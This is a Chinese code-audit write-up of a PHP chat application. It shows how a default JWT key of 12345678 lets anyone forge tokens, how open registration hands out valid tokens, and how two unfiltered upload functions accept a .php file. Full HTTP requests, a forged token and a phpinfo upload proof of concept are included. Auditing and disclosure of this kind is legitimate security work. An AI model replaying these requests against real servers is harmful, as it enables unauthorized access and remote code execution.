前言
最近分析的一套源码中,发现几个有趣的漏洞,可以利用漏洞获取token,然后实现文件上传。
-
• JWT 密钥硬编码,可伪造合法 Token; -
• 任意用户注册接口,允许轻松获取有效身份; -
• 利用前两者获取认证 Token,最终实现文件上传操作。
以下是详细分析与复现过程。首发土司论坛
jwt 硬编码
漏洞路径 imv3appimcontrollerIn.php
privatestaticfunctioncreateToken($user_id){$jwt = newJwt;$db_data = System::where('key','JWT')->select()->toArray();Jwt::$key = $db_data[0]['value']['key']['value'];Jwt::$timeNum = $db_data[0]['value']['time']['value'];$payload = ['user_id' => $user_id, ];return$jwt->getToken($payload);}
从代码上看 jwt加密的 key是从数据库中获取的,默认的 key= 12345678
知道key我们就可以伪造token了
在createToken
中传入了 user_id
到 getToken
函数 构造jwt
分析可见,JWT 的密钥是从数据库中读取的默认值,在初始化时设定。若数据库中使用的是默认配置(如 key=12345678),则攻击者一旦得知密钥,即可伪造任意用户的合法 token,前提其中user_id
必须是在数据库中存在的id值。
{"user_id": 15,"iss": "im_http","iat": 1743150032,"exp": 7743150032,"nbf": 1743150032,"sub": "","jti": "70ca964d0b359e00dfeb753d30734d27"}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxNSwiaXNzIjoiaW1faHR0cCIsImlhdCI6MTc0MzE1MDAzMiwiZXhwIjo3NzQzMTUwMDMyLCJuYmYiOjE3NDMxNTAwMzIsInN1YiI6IiIsImp0aSI6IjcwY2E5NjRkMGIzNTllMDBkZmViNzUzZDMwNzM0ZDI3In0.BQnb8PAm5ncn0lXSQbBHzJ3KtgX4Tz-xfUwFEyVUyO8
任意用户注册
可通过注册用户获取token配合下面的文件上传漏洞getshell
imv3appimcontrollerIn.php
POST /index.php/im/In/reg HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateAccept-Encoding: gzip, deflate, br, zstdCookie: PHPSESSID=li01t8tnhck6hhq788ci27kvj2Accept-Language: zh-CN,zh;q=0.9sec-ch-ua-mobile: ?0Sec-Fetch-User: ?1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentContent-Type: application/x-www-form-urlencodedusername=admin111&password=123456&nickname=ters&_agent_id=0
可通过登录接口获取token
POST /index.php/im/In/login HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateAccept-Encoding: gzip, deflate, br, zstdCookie: PHPSESSID=li01t8tnhck6hhq788ci27kvj2Accept-Language: zh-CN,zh;q=0.9sec-ch-ua-mobile: ?0Sec-Fetch-User: ?1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentContent-Type: application/x-www-form-urlencodedusername=admin111&password=123456&_agent_id=
任意文件上传漏洞
配合JWT硬编码漏洞或者利用任意用户注册漏洞获取token,实现文件上传
chat函数
imv3appimcontrollerUpload.php
publicfunctionchat(){$return_data = ['err' => 1,'msg' => 'fail' ];$post_data = Request::post();$file = request()->file('file');if(!$file || !$post_data){$return_data['msg'] = 'error';returnjson($return_data); }$save_path = '../public/static/chat/' . $post_data['list_id'] . '/';if(!$info = $file->move($save_path,true,false)){$return_data['msg'] = $file->getError();returnjson($return_data); }$save_name = str_replace("\","/",$info->getSaveName());/** 如果是图片上传,产生一个缩略图 */if(strpos($file->getInfo()['type'],'image') !== false){$image = Image::open($save_path . $save_name);$max_width = '175';$max_height = '175';$width = $image->width();$height = $image->height();if($width > $max_width || $height > $max_height){$scale = $width / $height;$width = $scale > 1 ? $max_width : ($max_height * $scale);$height = $scale > 1 ? ($max_width / $scale) : $height;$array_save_name = explode('.',$save_name);$image->thumb($width, $height)->save($save_path . $array_save_name[0] . '_thumb.' . $array_save_name[1]); } }$return_data['err'] = 0;$return_data['msg'] = 'success';$return_data['data'] = [ 'save_name' => $save_name, ];returnjson($return_data); }
$post_data
:获取POST请求中的表单数据。$file
:获取上传的文件。
$save_path = '../public/static/chat/' . $post_data['list_id'] . '/';if(!$info = $file->move($save_path,true,false)){$return_data['msg'] = $file->getError();returnjson($return_data);}
构造保存路径:../public/static/chat/{list_id}/
,其中list_id
来自$post_data['list_id']
。
将文件移动到目标路径,如果失败则返回错误信息。
POST /index.php/im/Upload/chat?_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo3LCJpc3MiOiJpbV9odHRwIiwiaWF0IjoxNzQzMTUwMDMyLCJleHAiOjc3NDMxNTAwMzIsIm5iZiI6MTc0MzE1MDAzMiwic3ViIjoiIiwianRpIjoiNzBjYTk2NGQwYjM1OWUwMGRmZWI3NTNkMzA3MzRkMjcifQ.5YRHj3u0S6F-7Z5Hgdxdgq_QRYMtNH-0IBMtu9cqHfc HTTP/1.1Host: 127.0.0.1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-platform: "Windows"Sec-Fetch-Dest: documentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-mobile: ?0Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIdQKI5zGtZurs4coContent-Length: 392------WebKitFormBoundaryIdQKI5zGtZurs4coContent-Disposition: form-data; name="file";filename="1.php";<?php phpinfo();?>------WebKitFormBoundaryIdQKI5zGtZurs4coContent-Disposition: form-data; name="list_id";111------WebKitFormBoundaryIdQKI5zGtZurs4co--
文件访问路径:/static/chat/{list_id}/20250328/fe30229bc77d5117b936e83a69e3403d.php
circle 函数
跟上面那个方法使用一样的文件上传方式,都没有进行过滤
publicfunctioncircle(){$return_data = ['err' => 1,'msg' => 'fail' ];$post_data = Request::post();$file = request()->file('file');if(!$file || !$post_data){$return_data['msg'] = 'error';returnjson($return_data); }$save_path = '../public/static/circle/' . USER_ID . '/';if(!$info = $file->move($save_path,true,false)){$return_data['msg'] = $file->getError();returnjson($return_data); }$save_name = str_replace("\","/",$info->getSaveName());/** 如果是图片上传,产生一个缩略图 */if(strpos($file->getInfo()['type'],'image') !== false){$image = Image::open($save_path . $save_name);if($post_data['len'] < 2){$width = 135;$height = 210; } else {$width = 120;$height = 120; }$array_save_name = explode('.',$save_name);$save_name = $array_save_name[0] . '_thumb.' . $array_save_name[1];$image->thumb($width, $height)->save($save_path . $save_name); }$return_data['err'] = 0;$return_data['msg'] = 'success';$return_data['data'] = ['save_name' => $save_name, ];returnjson($return_data); }
POST /index.php/im/Upload/circle?_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxNSwiaXNzIjoiaW1faHR0cCIsImlhdCI6MTc0MzE1MDAzMiwiZXhwIjo3NzQzMTUwMDMyLCJuYmYiOjE3NDMxNTAwMzIsInN1YiI6IiIsImp0aSI6IjcwY2E5NjRkMGIzNTllMDBkZmViNzUzZDMwNzM0ZDI3In0.BQnb8PAm5ncn0lXSQbBHzJ3KtgX4Tz-xfUwFEyVUyO8 HTTP/1.1Host: Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-platform: "Windows"Sec-Fetch-Dest: documentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-mobile: ?0Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIdQKI5zGtZurs4coContent-Length: 392------WebKitFormBoundaryIdQKI5zGtZurs4coContent-Disposition: form-data; name="file";filename="1.php";<?php phpinfo();?>------WebKitFormBoundaryIdQKI5zGtZurs4coContent-Disposition: form-data; name="len";111------WebKitFormBoundaryIdQKI5zGtZurs4co--
文件访问路径:/static/chat/USER_ID/20250328/fe30229bc77d5117b936e83a69e3403d.php
USER_ID 就是 15
总结
文件上传功能本身没有进行过滤,所以考虑的是如何获取到token,主要两个方法
-
• jwt硬编码 -
• 任意用户注册
公众号后台回复 20250508
获取源码
原文始发于微信公众号(安全逐梦人):记某微聊源码代码审计过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论